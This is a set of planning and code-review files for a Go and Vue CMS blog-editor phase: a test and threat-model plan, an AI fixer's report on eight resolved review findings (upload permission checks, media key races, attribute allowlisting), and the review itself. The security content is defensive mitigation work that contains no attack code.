- **RESOLVED (user decision 3):** release and UAT are in scope: plan 04 tags the layer (v0.2.0) and pins it in the app, and plan 05 tags summercms (v0.1.17 or the next free v0.1.x), bumps the plugin require and the host gitlinks, deploys UAT and runs the human Docker-host and UAT checkpoints.
## Environment Availability
| Dependency | Required By | Available | Version | Fallback |
|------------|------------|-----------|---------|----------|
| Go | all Go work | ✓ | go1.27.0 | — |
| Node | plugin JS build, admin SPA, layer | ✓ | v22.23.2 (admin needs >=22.6; layer needs >=22.18) | — |
| npm | plugin build, admin | ✓ | 12.0.2 | — |
| pnpm | `vue-journal-layer` `check-git-install.sh` | not probed | — | Run on the release machine; the script exits early if pnpm is missing |
| Docker | testcontainers suites (cabana Postgres, journal admin harness) | ✗ | — | DryRun/unit tests with `-short`; human Docker-host gate before the tag (16.1 pattern) |
| ssh to UAT (`grzybyfunkcjonalne-uat`) | redeploy | not probed this session (worked in 16.1-02) | — | Human checkpoint |
**Missing dependencies with no fallback:** none blocking the code work.
**Missing dependencies with fallback:** Docker (human-run gate).
## Validation Architecture
### Test Framework
| Property | Value |
|----------|-------|
| Framework | Go `testing` (+ testify), admin vitest 3.2.7 + happy-dom, plugin vitest 3.2.7 (new), layer `node --test` |
| Config file | `admin/vitest.config.ts`; plugin `vite.config.ts`/`vitest.config.ts` (Wave 0); layer `package.json` `test` script |
| Quick run command | `go test -short ./modules/pact ./modules/cabana -run 'FieldType\|Plugin'` |
| Full suite command | `go vet ./... && go test -short ./...` in summercms.go; `npm --prefix admin test`; in `../sm-journal-plugin`: `go vet ./... && go test -short ./... && npm test`; in `../vue-journal-layer`: `npm test` |
### Phase Requirements → Test Map
| Req | Behavior | Test Type | Automated Command | File Exists? |
|-----|----------|-----------|-------------------|-------------|
| D-11 | Duplicate alias / core-type clash / bad element tag fails boot | unit | `go test -short ./modules/cabana -run TestFieldTypeRegistry` | ❌ Wave 0 |
| D-12.1 | Unknown plugin key and CheckOptions error fail boot | unit | `go test -short ./modules/cabana -run TestFieldTypeOptions` | ❌ |
| D-12.2/D-10 | FieldError → 422 on field, default + non-default locale | unit (DryRun/fake writer) | `go test -short ./modules/cabana -run TestFieldTypeDecode` | ❌ |
| D-03 | Submitted == served → nothing written (host and translation) | unit | `go test -short ./modules/cabana -run TestFieldTypeUntouched` | ❌ |
| D-12.3/D-07 | Load serves `content_html` for a markdown post, `content` for HTML | unit | `go test -short ../sm-journal-plugin/classes -run TestBlogEditorLoad` | ❌ |
| D-12.4 | List column with plugin type uses ListValue | unit | `go test -short ./modules/cabana -run TestFieldTypeListValue` | ❌ |
| D-13/D-15 | Schema carries `element`/`translatable`; OpenAPI/TS in sync | unit + script | `go test ./modules/cabana -run 'TestPhase09' && bash scripts/check-admin-openapi.sh --check` | ✅ (extend) |
| D-13 | PluginField binds value, emits only on summer-change; ML wrapper | vitest | `npm --prefix admin test -- PluginField` | ❌ |
| D-18 | Upload route: auth, CSRF, permission, scope, size cap, non-plugin field 404 | unit | `go test -short ./modules/cabana -run TestFieldUpload` | ❌ |
| D-03/D-04 | Element: untouched value identical; rawHtml/embed/figure/link/table round-trip | vitest (happy-dom) | `npm --prefix ../sm-journal-plugin test` | ❌ |
| todo resave | Re-save untouched imported HTML post: `content` and `content_html` byte-identical; edited save sets both equal | integration (Postgres) | `go test ../sm-journal-plugin -run TestPostsAdminResaveKeepsHTML` (Docker host) | ✅ (tighten) |
| D-17 | expandEmbeds allowlist, id regex, gate-first order | node:test | `npm --prefix ../vue-journal-layer test` | ❌ (`tests/embeds.test.ts`) |
| docs | READMEs/docs identifiers and links | unit | `go test ./cmd/summer -run TestDocsTree` | ✅ |
| dist | Admin and plugin bundles match committed dist | script | `bash scripts/check-admin-dist.sh` and `bash ../sm-journal-plugin/scripts/check-dist.sh` | ✅ / ❌ |
### Sampling Rate
- **Per task commit:** `go vet ./... && go test -short` for the touched packages, plus the touched vitest file.
- **Per wave merge:** every full-suite command above.
- **Phase gate:** full suites green, `check-admin-dist.sh`, `check-admin-openapi.sh --check`, the plugin `check-dist.sh`, `TestDocsTree`, and the human Docker-host run of the testcontainers suites, all before `/msd-verify-work`.
### Wave 0 Gaps
- [ ] `../sm-journal-plugin/package.json`, `package-lock.json`, `vite.config.ts`, `vitest` setup with happy-dom, `scripts/check-dist.sh`
- [ ] `modules/cabana/field_type_test.go`: registry, options, decode/skip, list, upload (reuse `openDryRunDB`/`newDryRunListService` from query_relation_test.go and a fake `TranslationWriter`)
- [ ] `admin/tests/form/PluginField.test.ts` with a stub custom element
- [ ] `../vue-journal-layer/tests/embeds.test.ts`
## Security Domain
`security_enforcement` is absent from config (treated as enabled); ASVS L1.
### Applicable ASVS Categories
| ASVS Category | Applies | Standard Control |
|---------------|---------|-----------------|
| V2 Authentication | yes (upload route) | cabana backend guard (cookie or Bearer); never a token handed to the element |
| V3 Session Management | yes | Existing HttpOnly, SameSite=Strict cookie scoped to the admin prefix; `requireAjax` on POST |
| V4 Access Control | yes | Controller `RequiredPermissions` + `FormExtendQuery` record scope on the upload route; field must be a plugin type with `Upload` and its `context` must allow the op |
| V5 Input Validation | yes | `CheckHTML` per locale in Decode (refuse, no rewrite); option keys validated at boot; upload extension allowlist + size cap; embed id regex in the layer |
| V6 Cryptography | no | — |
| V12 Files and Resources | yes | `.jpg/.jpeg/.png/.gif/.webp` only (no SVG); 10 MiB cap; nginx serves `/storage/app/uploads/public` image types only with `nosniff` [VERIFIED: deploy/nginx/grzybyfunkcjonalne-staging.conf, its storage image location block] |
| V14 Configuration | yes | Admin CSP `script-src 'self'` unchanged; bundle has no eval |
### Known Threat Patterns (threat model input)
| Pattern | STRIDE | Standard Mitigation |
|---------|--------|---------------------|
| Stored XSS through the raw HTML block, source tab or a non-default locale | Tampering / Elevation | `CheckHTML` in Decode for every locale value; layer `gateJournalHtml` again before v-html |
| An iframe smuggled in as an "embed" | Tampering | Placeholder only in storage; the layer builds the iframe from a validated id and a fixed host |
| XSS in the admin itself (the element renders stored HTML in contenteditable) | Elevation | ProseMirror renders through its schema, so `script` is never a node and the `rawHtml` card shows text, not live DOM. The admin CSP `script-src 'self'` blocks inline handlers. Do not `innerHTML` raw blocks into the live admin DOM. [ASSUMED: verify in the plan's tests that the rawHtml card renders escaped text] |
| A plugin alias hijacking a core type or another plugin's type | Spoofing | Boot fails on any collision (D-11) |
| A plugin element exfiltrating the session | Information disclosure | No credential is passed to elements; the cookie is HttpOnly; the SPA performs uploads |
| CSRF on the upload route | Tampering | `requireAjax` (X-Requested-With) plus a SameSite=Strict cookie |
| Upload of HTML or SVG disguised as an image | Tampering / Elevation | Extension allowlist without SVG; nginx type map + `nosniff`; consider also checking the magic bytes with `http.DetectContentType` (stdlib) |
| Path traversal or odd filenames in upload keys | Tampering | `path.Base`, the folder regex `^[A-Za-z0-9_\-/]*$`, `..` refused (existing); consider slugifying the base name for the admin path |
| Oversized uploads, or unbounded JSON in Decode | DoS | `http.body_limits.upload_bytes` on the route; the existing default body limit on saves |
| Option values reaching the element as HTML | Tampering | Options delivered as a JSON attribute; the element never `innerHTML`s them |
## Sources
### Primary (HIGH confidence)
- Source files read in this session:
- `modules/pact/capabilities.go`
- in `modules/cabana`: `form_schema.go`, `crud.go`, `field_ml.go`, `extension.go`, `plugin_assets.go`, `registry.go`, `http.go`, `list_schema.go`, `schema_types.go`
- in `admin/src`: `components/form/registry.ts`, `formState.ts`, `mlLocale.ts`, `fields/WidgetField.vue`, `fields/MLField.vue`, `app/pluginAssets.ts`, `views/FormView.vue`
- `modules/boardwalk/boardwalk.go`, `modules/bouncer/jwt.go`
- in sm-journal-plugin: `classes/format_html.go`, `controllers/posts.go`, `controllers/categories.go`, `controllers/api/media.go`, `controllers/api/auth.go`, `routes.go`, `admin.go`, `plugin.go`, `models/post.go`, `models/category.go`, both `fields.yaml`, `posts_admin_smoke_test.go`
- in sm-translate-plugin: `classes/admin_writer.go`
- in vue-journal-layer: `PostBody.vue`, `htmlGate.ts`
- in the host: nginx conf, `DEPLOY.md`, `storage.yaml`
- in the frozen PHP Journal: `Category.php`, `Post.php`, `JournalMarkdown.php`, `MLJournalMarkdown.php`
- npm registry: `npm view` for every recommended package; `msd-tools query package-legitimacy check`
- Local probes: TipTap 3.31.4 on happy-dom 20.11.6 (lossiness, rawHtml/embed nodes, global attributes, emitUpdate, trailingNode); an esbuild bundle-size build
### Secondary (MEDIUM confidence)
- tiptap.dev docs: extend-existing (global attributes), editor API (parseOptions, injectCSS), set-content (emitUpdate default true), table (TableKit options)
- support.google.com/youtube/answer/171780 (privacy-enhanced embed domain)
### Tertiary (LOW confidence)
- General ProseMirror Shadow DOM quirk claim (A2)
## Metadata
**Confidence breakdown:**
- Standard stack: HIGH. Versions come from the registry, and the toolchain is pinned to the admin's existing lockfile.
- Architecture: HIGH for the integration points (read from source). MEDIUM for the proposed API shape and the editor serializer, which are design choices.
- Pitfalls: HIGH. Most were reproduced by local probes or read from source.
**Research date:** 2026-10-09
**Valid until:** 2026-11-08 for the framework findings. Re-check TipTap patch versions before installing, because the project releases fast.

View File

@@ -0,0 +1,228 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
fixed_at: 2026-10-10T14:46:56Z
review_path: .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md
iteration: 1
findings_in_scope: 8
fixed: 8
skipped: 0
status: all_fixed
---
# Phase 16.2: Code Review Fix Report
**Fixed at:** 2026-10-10T14:46:56Z
**Source review:** .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md
**Iteration:** 1
**Summary:**
- Findings in scope: 8 (CR-01, WR-01, WR-02, WR-03, WR-04, WR-05, WR-06, IN-04, as the orchestrator chose)
- Fixed: 8
- Skipped: 0 in scope. WR-07, WR-08, IN-01, IN-02, IN-03, IN-05, IN-06, IN-07 and IN-08 are out of scope by decision. Each is listed under Skipped Issues.
The fixes span three repositories, and each fix is committed in the repository that owns the file:
- summercms.go: `/media/nvme/dev/golem15/summercms.io/summercms/summercms.go`
- sm-journal-plugin: `/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin`
- vue-journal-layer: no fix touched it.
## Fixed Issues
### CR-01: Blog Editor hides a locale's existing `content_html` when its `content` is blank
**Repository:** sm-journal-plugin
**Files modified:** `classes/blog_editor.go`, `classes/blog_editor_test.go`, `controllers/posts_editor_smoke_test.go`
**Commit:** 1593231
**Applied fix:** `loadBlogHTML` now reads the `htmlColumn` attribute when the stored content is blank and serves it whenever it is not empty. This applies to every locale and to the host row. When it is empty or missing, the blank value is served as stored. FormatHTML never runs on a blank value. An untouched save echoes the served value, which cabana skips. An edit writes the edited HTML to `content`, and FormAfterUpdate writes it to that locale's `content_html`.
**Tests:**
- Blank or nil content is served as `content_html`, in a translation and on the host row.
- Blank content with an empty or missing `content_html` is still served as `""`.
- A failing read is the Load error.
- A field without `htmlColumn` never reads.
- The controller smoke test covers the whole flow: Load serves the API-written body, Decode accepts the edit, and FormAfterUpdate writes `content_html` for that locale.
### WR-01: Field upload route skips the controller's create/update capability check
**Repository:** summercms.go
**Files modified:** `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_test.go`, `modules/cabana/field_type_smoke_test.go`, `modules/cabana/README.md`, `docs/backend/field-types.md`
**Commit:** 3158bb5
**Applied fix:** `fieldUpload` now calls `s.operationDeclared(w, r, cc, op)` right after parsing `{id}`, before it reads the body. The operation is `create` for id 0 and `update` otherwise, as on the save routes.
**Tests:**
- New `TestFieldUpload` case: a controller with no `create` toolbar button answers 403 for id 0 and never calls Upload. The same field with the button answers 201.
- The test fixtures for upload (`upFS`, `ftMLPlugin`) now declare `toolbar.buttons: [create]`.
**Docs:** the README route row and the field-types page now describe the 403.
### WR-02: Stored upload objects are orphaned when the route refuses after Upload succeeded
**Repository:** summercms.go
**Files modified:** `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_test.go`, `modules/cabana/README.md`, `docs/backend/field-types.md`
**Commit:** c532529
**Applied fix:**
- The route reads the whole multipart body with `ReadForm` before Upload runs. Files over 8 MiB (`fieldUploadMemory`) spool to a temporary file, which `RemoveAll` deletes.
- `singleUploadFile` requires exactly one part: a file part named `file` with a non-blank file name. Only then is Upload called, with the opened file.
- An extra part, a value part or an oversized body is refused (422 or 413) without calling Upload.
- Two windows remain, and the docs now name them: a record transaction that fails after Upload returns, and an element that stops waiting. In both cases `Upload` should store under a name that is safe to leave behind.
**Tests:**
- New cases check that a second file part, a later field, a value part before or after the file, and an oversized body never call Upload.
- A file larger than the in-memory threshold reaches Upload byte for byte.
### WR-03: Media key uniqueness is check-then-write
**Repository:** sm-journal-plugin
**Files modified:** `classes/media_store.go`, `classes/media_store_test.go`
**Commit:** 2c961b8
**Applied fix:**
- `StoreMedia` reserves the chosen key in an in-process set, per bucket, while it writes. `uniqueMediaKey` treats reserved keys as taken.
- The write uses `blob.WriterOptions{IfNotExist: true}`. A `gcerrors.FailedPrecondition` moves the upload on to the next free name, for at most 10 attempts.
- Both parts are needed: fileblob's `IfNotExist` is stat-then-rename under a per-writer mutex, so on its own it would not close the race within one process. The reservation closes it within the process, and `IfNotExist` covers other processes on backends that enforce it atomically, such as S3.
**Tests (run with `-race`):**
- 16 concurrent uploads of `image.png` get distinct keys and keep their own bytes, and no reservations are left behind.
- A test hook (`mediaBeforeWrite`) simulates another process writing the chosen keys. The upload moves to `image-2.png` and leaves the other objects untouched.
- When the upload loses every attempt, it gives up with an opaque error.
### WR-04: `LooksLikeHTML` treats markdown that starts with a tag as HTML
**Repository:** sm-journal-plugin
**Files modified:** `classes/blog_editor.go`, `classes/blog_editor_test.go`, `controllers/posts_editor_smoke_test.go`
**Commit:** 5af746f
**Status:** fixed: requires human verification (this changes a heuristic)
**Applied fix:**
- A value that starts with `<` is served as it is only when one of these holds:
- `content_html` is empty or missing, or cannot be read (no translation writer).
- `content_html` equals the value, ignoring white space at either end.
- `content_html` equals `SanitizeHTML(value)`, ignoring white space at either end.
- Otherwise the value is markdown that starts with a tag, and `content_html` is served.
- `sameStoredHTML` holds the comparison.
**Why `FormatHTML(value)` is not a match:** that render also matches markdown which starts with `<img>`, so counting it would bring the bug back.
**Side effect:** an imported HTML post whose `content_html` differs from its `content` (for example, Winter's Markdown::parse split an HTML block) now opens with `content_html`. That is what the site renders, so an untouched save still skips and an edit writes both columns from it.
**Tests:**
- The HTML-verbatim cases now cover a `content_html` that is missing, empty, equal, sanitized, trimmed, or both sanitized and trimmed.
- New fixtures cover markdown that starts with `<img>`, `<div>` and `<!-- comment -->`. Each is served as its `content_html`, with no `##` or `**` markers.
- A read error on an HTML value is the Load error.
- A controller smoke case covers the `<img>` hero.
### WR-05: Attribute preservation lets `id`, `name`, `style`, `srcset` into the live admin DOM
**Repository:** sm-journal-plugin
**Files modified:** `assets/src/blogeditor/extensions.ts`, `assets/dist/blogeditor.js`, `tests/blogeditor/schema.test.ts`, `tests/blogeditor/smoke.test.ts`, `README.md`
**Commit:** f1e6c11
**Applied fix:**
- `captureAttributes` and `renderCaptured` now use the conservative allowlist from the orchestrator (`KEPT_ATTRIBUTES`, `isKeptAttribute`): `class`, `title`, `alt`, `width`, `height`, `colspan`, `rowspan`, `start`, `rel`, `target` and `data-*`.
- `href` and `src` stay modelled on the link and image nodes, which check them.
- Every other attribute is never captured, so it is never rendered into the ProseMirror view. This covers `id`, `name`, `style`, `srcset`, `background`, `form`, `contenteditable`, `popover`, `itemprop`, `dir`, `lang` and `on*`. Such attributes drop out of a block once that block is edited.
- A `span` is kept as a mark only when it has a kept attribute.
- Untouched documents and untouched blocks still return their stored bytes (D-03).
**Tests:**
- The schema tests use view-safe attributes for the "keeps" cases.
- New table cases drop `id`, `name`, `style`, `srcset`, `loading`, `background`, `form`/`contenteditable`/`popover`, `itemprop`/`dir`/`lang` and a cell's `style`.
- A live-DOM test asserts that no stored `id`, `name`, `srcset`, `background` or style value reaches `.ProseMirror`, and that the untouched value is still the exact input.
- The smoke expectation for edited blocks is updated.
- A new test confirms that an untouched block keeps `id`, `style` and `itemprop` byte for byte after another block is edited.
**Other changes:** the dist bundle is rebuilt and the plugin README's untouched-values paragraph is updated.
### WR-06: Translatable Decode can receive non-string values
**Repository:** summercms.go
**Files modified:** `modules/cabana/field_type.go`, `modules/cabana/field_type_test.go`, `modules/pact/capabilities.go`, `modules/pact/README.md`, `docs/backend/field-types.md`
**Commit:** f388d27
**Applied fix:** before `decodeOne` handles a translatable field's default value, `decodePluginFields` now does the following:
- A string passes through.
- `nil` becomes `""`.
- Any other value is a 422 on the field: "The X field must be text or an object of locale codes to text."
**Docs:** the pact `FormFieldValue` doc comment, the pact README row and the field-types page now state the enforced contract.
**Tests:** a probe Decode does `in.Value.(string)` and so panics on a broken contract.
- A string and null each reach it as a string.
- A number, a boolean and an int are refused with a 422 before Decode runs.
### IN-04: `crypto.randomUUID()` throws outside a secure context
**Repository:** sm-journal-plugin
**Files modified:** `assets/src/blogeditor/element.ts`, `assets/dist/blogeditor.js`, `tests/blogeditor/smoke.test.ts`
**Commit:** b997a41
**Applied fix:** a new exported `uploadRequestId()` picks the request id in this order:
- `crypto.randomUUID` when it exists.
- Otherwise, a version 4 UUID built from `crypto.getRandomValues`, which works in insecure contexts.
- Otherwise, a time-plus-counter id.
The admin host (`PluginField.vue`) echoes any id back, so nothing else changes.
**Tests:**
- With `randomUUID` stubbed away, ids are unique v4 UUIDs and a full upload round trip still works.
- With no `crypto` object, ids are unique counter ids.
**Other changes:** the dist bundle is rebuilt.
## Skipped Issues
### WR-07: "View site" links to the admin's own origin
**File:** `admin/src/components/shell/AppShell.vue:25-27, 40-48`
**Reason:** By explicit user decision, "View site" defaults to the admin origin. The `SUMMER_FRONTEND__URL` override is a tracked follow-up.
**Original issue:** `siteURL` assumes the public site and the admin share an origin, which is wrong for the headless deployment.
### WR-08: The phase gate prints "Phase 16.2 gate passed" without running the data-loss regression suites
**File:** `scripts/check-phase16.2.sh:521-544`
**Reason:** This is by design. The gate prints a loud NOT RUN block, and `PHASE162_REQUIRE_POSTGRES=1` enforces the Postgres stage. The Postgres run is a tracked Docker-host step.
**Original issue:** `--all` exits 0 when Docker is unreachable, without the D-03/D-10 Postgres acceptance tests.
### IN-01: An embed placeholder that both policies accept may never expand
**File:** `../vue-journal-layer/app/utils/embeds.ts:41`
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
**Original issue:** `EMBED_PLACEHOLDER` matches only `data-embed` before `data-id`.
### IN-02: The expanded YouTube iframe has no `sandbox`, and the exported `/g` regex carries shared `lastIndex` state
**File:** `../vue-journal-layer/app/utils/embeds.ts:41, 56-60`
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
**Original issue:** There is no defence-in-depth `sandbox` on the iframe, and the exported global regex is stateful.
### IN-03: Plugin aliases can shadow list column types
**File:** `modules/cabana/field_type.go:104-109`
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
**Original issue:** A plugin alias `date`, `datetime` or `time` is accepted, but its `ListValue` is never called.
### IN-05: content_html translations are skipped silently when the application is unavailable
**File:** `../sm-journal-plugin/controllers/posts.go:263-270`
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
**Original issue:** `writeContentHTMLTranslations` returns nil without a writer, and the columns diverge.
### IN-06: Untouched detection cannot be byte-exact for legacy content with invalid UTF-8
**File:** `modules/cabana/field_type.go:641-651`
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
**Original issue:** JSON transport replaces invalid UTF-8, so an untouched save rewrites such rows.
### IN-07: "Edit as HTML" selects the first identical block
**File:** `../sm-journal-plugin/assets/src/blogeditor/element.ts:524-532`
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
**Original issue:** `indexOf(html)` highlights the first of two identical raw blocks.
### IN-08: Plugin-typed fields cannot declare `readOnly`/`hidden`/`disabled` in YAML
**File:** `modules/cabana/field_type.go:33-36`
**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
**Original issue:** `pluginFieldKeys` excludes the general keys that the SPA honours.
## Verification
All verification ran in the main checkouts. `workflow.use_worktrees` is `false`, so no worktree was created and the numbers can be reproduced from the trees as committed.
- **summercms.go:**
- `go vet ./...` is clean.
- The phase gate's framework set (`FRAMEWORK_RUN` over `./modules/pact ./modules/cabana`) passes.
- `go test ./cmd/summer -run TestDocsTree` passes.
- The other cabana failures are Docker-only (testcontainers). The failing subtest list is identical before and after these changes; this was checked with `git stash`.
- **sm-journal-plugin:**
- `go vet ./...` is clean.
- `go test ./classes ./controllers ./controllers/api` passes. The root, `models` and `updates` packages need Docker.
- vitest passes 232 of 232, and `tsc --noEmit` is clean.
- `scripts/check-dist.sh` matches a fresh build.
- **vue-journal-layer:** untouched. The gate's layer stage passes 144 of 144, and the corpus copy equals the plugin's.
- **Full gate:** `bash scripts/check-phase16.2.sh --all` passes the go, admin (vitest 1218 of 1218), editor, layer and docs stages; docs includes check-admin-openapi, check-admin-dist and the Journal check-dist. Postgres is NOT RUN because no Docker daemon is reachable. Its suites (TestFieldTypeSavePostgres, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdmin*) still need a Docker-host run. That run matters most for CR-01 and WR-04, whose end-to-end untouched-save behavior those suites cover.
---
_Fixed: 2026-10-10T14:46:56Z_
_Fixer: Claude (msd-code-fixer)_
_Iteration: 1_

View File

@@ -0,0 +1,294 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
reviewed: 2026-10-10T14:29:09Z
depth: standard
files_reviewed: 73
files_reviewed_list:
- admin/src/api/schema.d.ts
- admin/src/api/types.ts
- admin/src/app/fieldTypes.ts
- admin/src/app/pluginAssets.ts
- admin/src/components/form/FieldRenderer.vue
- admin/src/components/form/FormField.vue
- admin/src/components/form/FormGrid.vue
- admin/src/components/form/PreviewField.vue
- admin/src/components/form/fields/MLField.vue
- admin/src/components/form/fields/MLPluginField.vue
- admin/src/components/form/fields/PluginField.vue
- admin/src/components/form/formContext.ts
- admin/src/components/form/formState.ts
- admin/src/components/form/mlLocale.ts
- admin/src/components/form/registry.ts
- admin/src/components/relation/RelationChildModal.vue
- admin/src/components/shell/AppShell.vue
- admin/src/main.ts
- admin/src/views/FormView.vue
- admin/src/views/LoginView.vue
- modules/cabana/admin_openapi.go
- modules/cabana/contracts.go
- modules/cabana/crud.go
- modules/cabana/extension.go
- modules/cabana/field_ml.go
- modules/cabana/field_type.go
- modules/cabana/field_type_upload.go
- modules/cabana/form_schema.go
- modules/cabana/http.go
- modules/cabana/list_schema.go
- modules/cabana/query.go
- modules/cabana/registry.go
- modules/cabana/relation.go
- modules/cabana/relation_field.go
- modules/cabana/relation_form.go
- modules/cabana/schema_types.go
- modules/cabana/settings.go
- modules/cabana/tx_context.go
- modules/pact/capabilities.go
- modules/phrasebook/backend/lang/en/lang.yaml
- modules/phrasebook/backend/lang/pl/lang.yaml
- scripts/check-phase16.2.sh
- ../sm-journal-plugin/admin.go
- ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
- ../sm-journal-plugin/assets/src/blogeditor/element.ts
- ../sm-journal-plugin/assets/src/blogeditor/embed.ts
- ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
- ../sm-journal-plugin/assets/src/blogeditor/index.ts
- ../sm-journal-plugin/assets/src/blogeditor/labels.ts
- ../sm-journal-plugin/assets/src/blogeditor/preview.ts
- ../sm-journal-plugin/assets/src/blogeditor/serializer.ts
- ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
- ../sm-journal-plugin/classes/blog_editor.go
- ../sm-journal-plugin/classes/format_html.go
- ../sm-journal-plugin/classes/media_store.go
- ../sm-journal-plugin/controllers/admin_registry.go
- ../sm-journal-plugin/controllers/api/media.go
- ../sm-journal-plugin/controllers/categories.go
- ../sm-journal-plugin/controllers/posts.go
- ../sm-journal-plugin/field_types.go
- ../sm-journal-plugin/go.mod
- ../sm-journal-plugin/lang/en/lang.yaml
- ../sm-journal-plugin/lang/pl/lang.yaml
- ../sm-journal-plugin/models/category/fields.yaml
- ../sm-journal-plugin/models/post/fields.yaml
- ../sm-journal-plugin/scripts/check-dist.sh
- ../sm-journal-plugin/vite.config.ts
- ../vue-journal-layer/app/assets/css/journal-base.css
- ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
- ../vue-journal-layer/app/components/Journal/PostBody.vue
- ../vue-journal-layer/app/utils/embeds.ts
- ../vue-journal-layer/app/utils/htmlGate.ts
- ../vue-journal-layer/testing/expect-acme.txt
findings:
critical: 1
warning: 8
info: 8
total: 17
status: issues_found
---
# Phase 16.2: Code Review Report
**Reviewed:** 2026-10-10T14:29:09Z
**Depth:** standard
**Files Reviewed:** 73 (summercms.go diff 0754a6e..HEAD, sm-journal-plugin diff c60abc6..HEAD, vue-journal-layer diff 294a8d8..HEAD)
**Status:** issues_found
Paths starting with `../` are relative to the summercms.go repository root; they live in the sibling sm-journal-plugin and vue-journal-layer repositories.
## Summary
The review covered the new `pact.FormFieldType` API, cabana's compile, decode, untouched-skip, load, list and upload paths, the admin SPA host (PluginField, MLPluginField, the field-type loader, notices, View site), the Journal Blog Editor types (Decode/Load/ListValue/Upload, StoreMedia, the bluemonday extension and SanitizeHTMLReport), the TipTap custom element (schema, serializer, preview, toolbar), and the layer's sanitize-html mirror and embed expansion.
The security core holds up:
- Decode runs inside the save transaction for every written locale. The untouched skip compares against the value the form was served, so it cannot be used to store unsanitized bytes that are not already stored.
- SanitizeHTMLReport returns the input unchanged only when the token comparison matches.
- The layer expands embeds only after sanitizing, with a fixed `src` and a validated id.
- The preview iframe uses an empty sandbox, and stored HTML is parsed only into inert documents.
- Upload sniffing plus StoreMedia's extension list refuses SVG and HTML.
Problems found:
- **Blocker (data loss):** Journal `Load` serves an empty editor for a locale whose `content` is blank but whose `content_html` holds the body. The public API's `FormatTranslation` path supports that state. Any edit in that locale silently replaces the hidden translated body.
- **Upload route:** it skips the controller's create/update capability check and can leave orphaned public objects. The Journal storage key check is racy, so concurrent uploads can overwrite each other.
- **Live admin DOM:** the editor's attribute preservation is a deny-list (`on*` only). `id`, `name`, `style` and `srcset` from stored HTML reach the live admin DOM, which contradicts the threat-model claim.
- Other warnings: the markdown/HTML heuristic, the translatable Decode contract, the View site URL, and a phase gate that reports success without its data-loss regression tests.
## Critical Issues
### CR-01: Blog Editor hides a locale's existing `content_html` when its `content` is blank; editing that locale overwrites the hidden body
**File:** `../sm-journal-plugin/classes/blog_editor.go:204-209`
**Issue:** `loadBlogHTML` returns the stored text as-is when it is blank:
```go
if column == "" || LooksLikeHTML(text) || strings.TrimSpace(text) == "" {
return text, nil
}
```
`FormatTranslation` (`classes/format_html.go:292-316`) supports translations that carry only `content_html` with blank or missing `content`, for example API writes of a translated body. For such a locale, cabana's `hydratePluginFields` and `servedFieldValue` serve `""`. The administrator therefore sees an empty editor although the site renders a full translated post. The untouched skip protects only a save that leaves that locale empty. As soon as the administrator types anything there, for example believing no translation exists, `decodeOne` writes the new value. `FormAfterUpdate` (`controllers/posts.go:241-280`) then stores it as that locale's `content_html`, and the existing translated body is lost with no notice. This breaks D-07's intent ("a markdown post opens with its `content_html`"). The same applies to a host row whose `content` is blank but whose `content_html` is not.
**Fix:** When `htmlColumn` is set, serve the HTML column whenever `content` is blank, not only when it is markdown:
```go
text := storedText(in.Value)
column, _ := in.Options["htmlColumn"].(string)
if column == "" || (LooksLikeHTML(text) && strings.TrimSpace(text) != "") {
return text, nil
}
if in.Translated != nil {
html, found, err := in.Translated(column)
if err != nil {
return nil, err
}
if found && html != "" {
return html, nil
}
}
if strings.TrimSpace(text) == "" {
return text, nil
}
html, err := FormatHTML(text)
...
```
Add a test: a pl translation with only `content_html` is served as that HTML, an untouched save keeps it, and an edit writes both columns from the edited value.
## Warnings
### WR-01: Field upload route skips the controller's create/update capability check
**File:** `modules/cabana/field_type_upload.go:25-36, 80-81`
**Issue:** `fieldUpload` only runs `protect`, which checks the controller's required permissions. Unlike `create` and `update` (`http.go:831, 860`), it never calls `s.operationDeclared(w, r, cc, "create"|"update")`. Consequences:
- With `{id}` 0, any administrator holding the controller permission can write files to the public media bucket through a controller whose YAML declares no create capability (no toolbar `create`).
- The `id == 0` path never applies the controller's `FormExtendQuery` scope, so an administrator scoped to a subset of records can still upload.
- With `{id} > 0`, a record the administrator may view but whose form declares no update can still receive uploads.
**Fix:** Mirror the save routes before reading the body:
```go
op := "update"
if id == 0 {
op = "create"
}
if !s.operationDeclared(w, r, cc, op) {
return
}
```
Add `TestFieldUpload` cases for a controller without the `create` toolbar button (403 for id 0).
### WR-02: Stored upload objects are orphaned when the route refuses after Upload succeeded
**File:** `modules/cabana/field_type_upload.go:58-78, 83-99`
**Issue:** The type's `Upload` writes the object to the bucket first. Only then does `run` check that no second multipart part follows (`mr.NextPart()`), and that check returns 422. In the `id != 0` case, a later transaction error rolls back the DB transaction but not the blob write. The element's 60 s timeout (`element.ts:553-556`) also drops a late successful answer. Each case leaves a public, unreferenced object under `/journal/<folder>/` with no cleanup.
**Fix:** Before calling `Upload`, check that the stream has exactly one part. For example, buffer the part up to the cap, then read `NextPart` before calling `Upload`. Alternatively, add an optional `pact.FormFieldType.Discard(ctx, url)` that cabana calls when it refuses after a successful Upload. At minimum, document that a refused upload may leave the object behind.
### WR-03: Media key uniqueness is check-then-write; concurrent uploads of the same name overwrite each other
**File:** `../sm-journal-plugin/classes/media_store.go:79-85, 122-151`
